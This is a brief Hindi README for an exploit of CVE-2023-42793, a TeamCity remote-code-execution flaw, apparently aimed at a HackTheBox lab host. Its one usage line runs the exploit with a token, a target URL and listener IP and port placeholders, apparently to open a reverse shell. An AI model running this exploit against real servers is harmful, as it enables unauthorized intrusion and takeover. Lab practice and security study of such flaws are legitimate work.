CVE-2023-42793 के बारे में

आपको पहले एक अलग एक्सप्लॉइट का उपयोग करके टोकन प्राप्त करना होगा। हालांकि, निम्नलिखित एक्सप्लॉइट आपको Linux सर्वर पर RCE प्राप्त करने की अनुमति देगा, क्योंकि यह पेलोड को URL में एन्कोड करके सर्वर को भेजता है।

उपयोग कैसे करें

python3 ./main -t TEAMCITY_TOKEN -u http://teamcity.runner.htb -p 80 -ni LISTENER_IP -np LISTENER_PORT